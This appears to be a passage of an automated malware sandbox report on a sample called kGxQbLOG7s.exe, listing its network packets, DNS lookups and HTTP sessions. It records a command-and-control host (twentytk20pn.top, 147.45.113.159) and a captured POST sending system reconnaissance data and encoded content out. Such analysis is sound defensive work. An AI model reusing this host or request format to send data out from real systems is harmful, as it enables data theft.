Dec 20, 2024 17:13:57.559791088 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.559906960 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.559948921 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.605645895 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.605787992 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.725472927 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.725544930 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.765850067 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.765907049 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:57.885608912 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:57.885740042 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:58.045742035 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:58.410542965 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:59.417028904 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:59.417242050 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:59.417371988 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:59.435463905 CET	49713	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:59.555187941 CET	80	49713	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:02.463515043 CET	49719	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:02.463546038 CET	443	49719	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:02.463645935 CET	49719	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:02.463859081 CET	49719	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:02.463884115 CET	443	49719	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:02.944574118 CET	49723	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:02.944622040 CET	443	49723	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:02.944763899 CET	49723	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:02.945018053 CET	49723	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:02.945030928 CET	443	49723	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:03.039496899 CET	49724	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:03.039568901 CET	443	49724	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:03.039650917 CET	49724	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:03.040118933 CET	49724	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:03.040148020 CET	443	49724	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:03.306286097 CET	49725	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:03.306349039 CET	443	49725	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:03.306410074 CET	49725	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:03.306674957 CET	49725	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:03.306694984 CET	443	49725	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.160839081 CET	443	49719	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.161181927 CET	49719	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:04.161201000 CET	443	49719	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.162312031 CET	443	49719	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.162374973 CET	49719	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:04.644326925 CET	443	49723	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.646507025 CET	49723	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:04.646541119 CET	443	49723	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.647578001 CET	443	49723	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.647645950 CET	49723	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:04.733072996 CET	443	49724	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.733347893 CET	49724	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:04.733375072 CET	443	49724	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.734447956 CET	443	49724	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:04.734493971 CET	49724	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:04.997944117 CET	443	49725	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:05.000555038 CET	49725	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:05.000579119 CET	443	49725	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:05.001703024 CET	443	49725	142.250.181.132	192.168.2.9
Dec 20, 2024 17:14:05.001852036 CET	49725	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:05.039334059 CET	49723	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:05.039417028 CET	49724	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:05.039443016 CET	49725	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:05.039474010 CET	49719	443	192.168.2.9	142.250.181.132
Dec 20, 2024 17:14:05.457030058 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.577053070 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.577182055 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.577719927 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.697474003 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.697534084 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.697606087 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.754868984 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.754898071 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.754911900 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.754925013 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.754937887 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.754961014 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.754995108 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.755012989 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.755031109 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.755043983 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.755055904 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.755084038 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.755129099 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.817405939 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.817437887 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.817470074 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:05.817549944 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.817563057 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.875004053 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.875356913 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:05.921693087 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:06.037684917 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:07.298280954 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:07.298835993 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:07.299469948 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:07.299530983 CET	49727	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:07.418654919 CET	80	49727	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:08.462575912 CET	49730	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:08.582180023 CET	80	49730	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:08.582261086 CET	49730	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:08.582699060 CET	49730	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:08.702267885 CET	80	49730	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:10.312462091 CET	80	49730	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:10.312583923 CET	80	49730	147.45.113.159	192.168.2.9
Dec 20, 2024 17:14:10.312979937 CET	49730	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:10.313019037 CET	49730	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:14:10.433748960 CET	80	49730	147.45.113.159	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:13:13.771606922 CET	52202	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:13.771673918 CET	52202	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:13.912529945 CET	53	52202	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:14.311631918 CET	53	52202	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:18.412765026 CET	52205	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:18.412842035 CET	52205	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:18.550494909 CET	53	52205	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:18.697277069 CET	53	52205	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:29.182420015 CET	51473	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:29.182518005 CET	51473	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:29.320065022 CET	53	51473	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:29.320130110 CET	53	51473	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:53.837573051 CET	56926	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:53.837677956 CET	56926	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:53.975912094 CET	53	56926	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:54.147381067 CET	53	56926	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:57.049438953 CET	54703	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:57.049519062 CET	54703	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:13:57.189208984 CET	53	54703	1.1.1.1	192.168.2.9
Dec 20, 2024 17:13:57.189229965 CET	53	54703	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:02.192182064 CET	53	55062	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:02.308916092 CET	53	62927	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:02.317756891 CET	58861	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:14:02.317904949 CET	64314	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:14:02.460026026 CET	53	64314	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:02.462955952 CET	53	58861	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:05.316481113 CET	61762	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:14:05.316482067 CET	61762	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:14:05.455220938 CET	53	61762	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:05.456085920 CET	53	61762	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:08.319097042 CET	50850	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:14:08.319189072 CET	50850	53	192.168.2.9	1.1.1.1
Dec 20, 2024 17:14:08.456820965 CET	53	50850	1.1.1.1	192.168.2.9
Dec 20, 2024 17:14:08.456964970 CET	53	50850	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 17:13:13.771606922 CET	192.168.2.9	1.1.1.1	0x3d41	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:13.771673918 CET	192.168.2.9	1.1.1.1	0xc33d	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 20, 2024 17:13:18.412765026 CET	192.168.2.9	1.1.1.1	0x610b	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:18.412842035 CET	192.168.2.9	1.1.1.1	0x14bb	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 17:13:29.182420015 CET	192.168.2.9	1.1.1.1	0xb6c0	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:29.182518005 CET	192.168.2.9	1.1.1.1	0x96f7	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 17:13:53.837573051 CET	192.168.2.9	1.1.1.1	0xcb69	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:53.837677956 CET	192.168.2.9	1.1.1.1	0xa88e	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 17:13:57.049438953 CET	192.168.2.9	1.1.1.1	0x18e7	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:57.049519062 CET	192.168.2.9	1.1.1.1	0x192f	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 17:14:02.317756891 CET	192.168.2.9	1.1.1.1	0x522	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:14:02.317904949 CET	192.168.2.9	1.1.1.1	0xdf03	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 17:14:05.316481113 CET	192.168.2.9	1.1.1.1	0xd8c4	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:14:05.316482067 CET	192.168.2.9	1.1.1.1	0xc195	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 17:14:08.319097042 CET	192.168.2.9	1.1.1.1	0xe120	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:14:08.319189072 CET	192.168.2.9	1.1.1.1	0xfb6b	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 17:13:14.311631918 CET	1.1.1.1	192.168.2.9	0x3d41	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:14.311631918 CET	1.1.1.1	192.168.2.9	0x3d41	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:18.550494909 CET	1.1.1.1	192.168.2.9	0x610b	No error (0)	home.twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:29.320130110 CET	1.1.1.1	192.168.2.9	0xb6c0	No error (0)	home.twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:53.975912094 CET	1.1.1.1	192.168.2.9	0xcb69	No error (0)	twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:13:57.189208984 CET	1.1.1.1	192.168.2.9	0x18e7	No error (0)	twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:14:02.460026026 CET	1.1.1.1	192.168.2.9	0xdf03	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 20, 2024 17:14:02.462955952 CET	1.1.1.1	192.168.2.9	0x522	No error (0)	www.google.com	142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:14:05.456085920 CET	1.1.1.1	192.168.2.9	0xd8c4	No error (0)	twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:14:08.456820965 CET	1.1.1.1	192.168.2.9	0xe120	No error (0)	home.twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

httpbin.org

home.twentytk20pn.top

twentytk20pn.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	147.45.113.159	80	1912	C:\Users\user\Desktop\kGxQbLOG7s.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:13:18.823326111 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 563789 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 31 31 31 39 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734711195", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 584 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 880 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 792 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 20, 2024 17:13:18.943022013 CET	4944	OUT	Data Raw: 5c 2f 77 44 6e 68 30 66 38 4f 72 76 32 43 5c 2f 38 41 6f 68 41 5c 2f 38 4f 64 38 5a 50 38 41 35 34 64 66 7a 52 5c 2f 78 50 6a 77 6e 5c 2f 77 42 45 44 78 46 5c 2f 34 63 38 74 5c 2f 77 44 6b 50 58 2b 6e 70 5c 2f 58 50 5c 2f 46 4e 72 6a 62 5c 2f 6f Data Ascii: \/wDnh0f8Orv2C\/8AohA\/8Od8ZP8A54dfzR\/xPjwn\/wBEDxF\/4c8t\/wDkPX+np\/XP\/FNrjb\/o5XC3\/hozb\/5P1\/p6fxzVHJ2\/H+lfpf8AtX\/sGeIfhx4U8R\/Hv4W6ZNqXwgh+Lnx38G6xoNmb6+vvhhYfD\/46\/EP4c+GDdz3tzf6lqnhq60Tw1pUT+Ib27uLu11V5Idak\/wBKtL68\/NSv6h8KPFzhPxe
Dec 20, 2024 17:13:18.943136930 CET	4944	OUT	Data Raw: 58 5c 2f 31 5c 2f 71 41 52 69 52 5c 2f 4d 66 66 35 68 78 5c 2f 77 41 74 50 4e 4d 47 50 35 5c 2f 35 34 35 6f 5a 6a 35 66 7a 70 48 43 6b 73 76 6d 2b 5a 48 32 5c 2f 2b 74 5c 2f 6e 6e 46 43 7a 4c 35 61 62 50 6e 63 78 43 4c 39 35 4c 2b 5c 2f 5c 2f 41 Data Ascii: X\/1\/qARiR\/Mff5hx\/wAtPNMGP5\/545oZj5fzpHCksvm+ZH2\/+t\/nnFCzL5abPncxCL95L+\/\/ANMHp\/n0AoP3fvxun\/LXy5fIz37Z\/Men0oAJPl++m\/8A7a8n\/PNVo5PL3\/vt\/wBP3EHv\/k8fWrLbG\/2H\/wCWvH5ZP0\/+v3qL\/V79jyeT\/wCQP8\/Q0HQR+YX2I\/Hr5f8Ajz\/nmhw\/pH1\/1jyj
Dec 20, 2024 17:13:18.943192005 CET	2472	OUT	Data Raw: 53 33 71 79 57 57 72 61 6a 71 75 6e 49 31 73 32 6c 2b 4f 48 75 4c 68 37 57 44 55 50 69 46 49 72 61 6c 34 58 67 67 53 30 5c 2f 73 6d 5c 2f 2b 78 2b 44 70 32 31 6e 55 74 52 74 72 39 76 31 64 38 47 5c 2f 74 44 66 43 44 34 67 5c 2f 46 50 34 6e 5c 2f Data Ascii: S3qyWWrajqunI1s2l+OHuLh7WDUPiFIral4XggS0\/sm\/+x+Dp21nUtRtr9v1d8G\/tDfCD4g\/FP4n\/Bbwh4003WfiT8HhozePfDkHmrNpY1yDzoGt53RbbVBYO0dlrh06W5GhanPb6ZqptL2eKBv5w4u4K4m4Ixs8BxH4X5bhK1HJMBxFiJU58X4nD4bK8fUw2FhXxOIocTTo0FhswxNPKcZ7SUY0My\/2bnk50pVP664R4
Dec 20, 2024 17:13:18.943298101 CET	7416	OUT	Data Raw: 2f 49 44 5c 2f 50 47 4d 2b 39 42 30 2b 5c 2f 5c 2f 64 5c 2f 45 68 6b 58 48 33 5c 2f 38 41 6c 70 36 39 73 66 35 5c 2f 4c 50 70 55 51 33 5c 2f 78 35 39 73 5c 2f 35 78 36 64 4b 73 53 5c 2f 78 66 68 5c 2f 53 6f 5c 2f 4c 39 5c 2f 30 5c 2f 2b 76 51 62 Data Ascii: /ID\/PGM+9B0+\/\/d\/EhkXH3\/8Alp69sf5\/LPpUQ3\/x59s\/5x6dKsS\/xfh\/So\/L9\/0\/+vQbU+vy\/UjqBu+z\/P8An37+1WWXb7ioZO34\/wBKDsKHz\/Px9\/r06D\/PtzS7v+Wfb\/630qz5fO\/\/APX16\/TPb19qqyR\/L\/rPrzn\/AD\/kUGlPr8v1DzP\/ALb26n8f5dPxqGRvM65\/1n+fX3obov8A1
Dec 20, 2024 17:13:18.943468094 CET	4944	OUT	Data Raw: 61 5a 34 38 38 4d 58 66 6a 69 4d 32 4e 7a 72 76 68 2b 32 74 50 33 7a 50 5c 2f 42 41 58 39 6a 6a 74 38 53 76 32 6d 44 5c 2f 33 4f 50 77 74 78 5c 2f 36 70 71 6d 5c 2f 38 4f 42 66 32 4f 76 38 41 6f 70 58 37 53 5c 2f 38 41 34 57 50 77 74 5c 2f 38 41 Data Ascii: aZ488MXfjiM2Nzrvh+2tP3zP\/BAX9jjt8Sv2mD\/3OPwtx\/6pqm\/8OBf2Ov8AopX7S\/8A4WPwt\/8AnNV7uc\/Si+j5xAlHNv7bxkHgsxyuvTrcO1pQxWVZxRhRzPK8Sva81TBYt0sLiKlFSivrWBwddPmoRT7cl+i79IPh9uWU\/wBiYOaxuW5pQqUuIqKnhM1yivKvlmZ4b90408dg\/bYqhTrOMn9VxmNw9uWu2cD+2g
Dec 20, 2024 17:13:19.062836885 CET	4944	OUT	Data Raw: 79 33 58 7a 76 37 38 66 5c 2f 41 45 79 5c 2f 58 2b 74 45 6a 54 4c 49 6b 50 38 41 42 5c 2f 7a 38 66 31 77 4b 45 6a 33 62 39 6a 6c 5c 2f 2b 32 76 74 2b 75 63 30 33 62 38 79 4f 6b 4f 42 5c 2f 71 70 66 4d 5c 2f 7a 2b 56 61 65 30 38 76 78 5c 2f 34 41 Data Ascii: y3Xzv78f\/AEy\/X+tEjTLIkP8AB\/z8f1wKEj3b9jl\/+2vt+uc03b8yOkOB\/qpfM\/z+Vae08vx\/4AEMf7yTy9kcyR\/aJfNP7jzu\/wDjmnyZ\/d7\/ALn+f9Fu6l3J9zYMeb\/y7xeR\/nNQxyPj+4kf+q\/fXX\/gL+uTR8flb57\/AHdjSn1+X6hJ+82b32eZFb+b+5\/T\/Hvx+NDSOmE\/j\/1Qk83z\/wDPT8KfJ
Dec 20, 2024 17:13:19.062937021 CET	9888	OUT	Data Raw: 30 78 34 63 38 65 65 49 76 68 76 6f 6e 67 37 52 50 45 5c 2f 77 41 50 5c 2f 42 5c 2f 69 51 36 6c 47 66 68 31 34 69 30 48 78 4a 6f 33 69 72 52 5c 2f 43 33 69 48 53 50 45 59 74 4e 4d 67 30 62 55 41 39 7a 50 61 66 6a 74 44 77 59 2b 69 50 69 61 64 43 Data Ascii: 0x4c8eeIvhvong7RPE\/wAP\/B\/iQ6lGfh14i0HxJo3irR\/C3iHSPEYtNMg0bUA9zPafjtDwY+iPiadCtQ4jzKpQxKy\/2WIWdZssMp5rjMPgcto1sRLLVQw2Jx+JxeGjhcLiKlLE16VeliKdKWGnGq\/36r4+fTooyxkKnCuURqYGnjK1eiuH8jnXeGy\/CxxmOxmHoQzWVbG4HB0JxeJx2DhXwlGrJYapWjiX7I\/ox\/4f
Dec 20, 2024 17:13:19.106043100 CET	27192	OUT	Data Raw: 6c 6c 76 6a 4a 36 6c 47 38 6a 63 70 4f 42 79 70 42 34 72 31 61 76 30 51 63 6f 72 35 70 6c 4f 59 56 65 4d 63 35 35 4d 70 7a 48 4d 63 66 43 6e 53 70 34 57 6c 58 78 58 39 70 5a 68 54 78 31 62 44 34 72 47 65 77 6e 58 72 30 61 61 70 78 6f 30 5c 2f 72 Data Ascii: llvjJ6lG8jcpOBypB4r1av0Qcor5plOYVeMc55MpzHMcfCnSp4WlXxX9pZhTx1bD4rGewnXr0aapxo0\/rcsZWqQjCWJr16tHDVMP4cPp75\/SyfPMso8AcPRq53hMlw7rVauOrUMvqZFlOMyrB4jB4R4qNKliJrHVcTXr0HhZyxEfbQUJ4rMnj\/MfBHxP8MfDzwl8MPC\/ij4wfA3wD\/wgX7cHxA+Nvxf8F\/EX9nHxz8V\/
Dec 20, 2024 17:13:19.225934029 CET	8652	OUT	Data Raw: 64 62 41 34 37 4f 59 35 5a 6b 32 42 6c 53 65 4b 53 78 4f 49 65 54 56 63 64 48 44 75 56 43 4d 71 56 4b 70 37 4c 42 31 70 30 36 74 66 32 63 4a 63 76 73 6c 4e 31 4a 55 34 50 36 73 75 5c 2f 41 50 68 6d 30 42 6b 66 54 72 69 77 68 38 79 4f 4e 37 69 7a Data Ascii: dbA47OY5Zk2BlSeKSxOIeTVcdHDuVCMqVKp7LB1p06tf2cJcvslN1JU4P6su\/APhm0BkfTriwh8yON7iz1C7baHO0ziK8XUYIxvIQQtdBpAU8uEzyeU\/wCTP7Z\/\/BNP4Uaf4O+OH7ReiePPiBB4ks9L8V\/Ei90TUn8OanoV9qZ8\/VZrO2NroulX9jYyzO6RmS7v5ooyv7yQglv098deLPE3h34N+PdU0bwrNqHiD4eFBB
Dec 20, 2024 17:13:19.270621061 CET	1236	OUT	Data Raw: 59 50 45 34 37 36 51 50 67 70 53 77 74 50 32 74 53 6a 34 6f 38 44 34 2b 70 48 6e 68 44 6c 77 6d 56 38 52 5a 66 6d 65 50 71 33 71 53 68 46 2b 77 77 57 45 78 46 66 6b 69 33 55 71 2b 7a 39 6e 52 68 55 71 7a 68 54 6c 5c 2f 4d 56 58 37 4f 66 73 44 5c Data Ascii: YPE476QPgpSwtP2tSj4o8D4+pHnhDlwmV8RZfmePq3qShF+wwWExFfki3Uq+z9nRhUqzhTl\/MVX7OfsD\/8ABFr9oP8Aa+1n4Z+IfiFqvh79nz4RfEN31rwvf+P79bL4m\/Fbwdo8dvqPiHVvhF8NRHJr+r6VFpE8FxB421+30PwW0Wo6feadqutme3sbr0jU\/wDgjn8CdH+M1t+z3qf\/AAUa8K6V8Y73xto3w7tfBOtfsm\
Dec 20, 2024 17:13:29.077931881 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 16:13:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 53 54 6c 70 35 4c 6a 38 4e 79 63 6f 55 44 64 50 31 37 33 34 37 31 31 32 30 37 Data Ascii: STlp5Lj8NycoUDdP1734711207

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49711	147.45.113.159	80	1912	C:\Users\user\Desktop\kGxQbLOG7s.exe

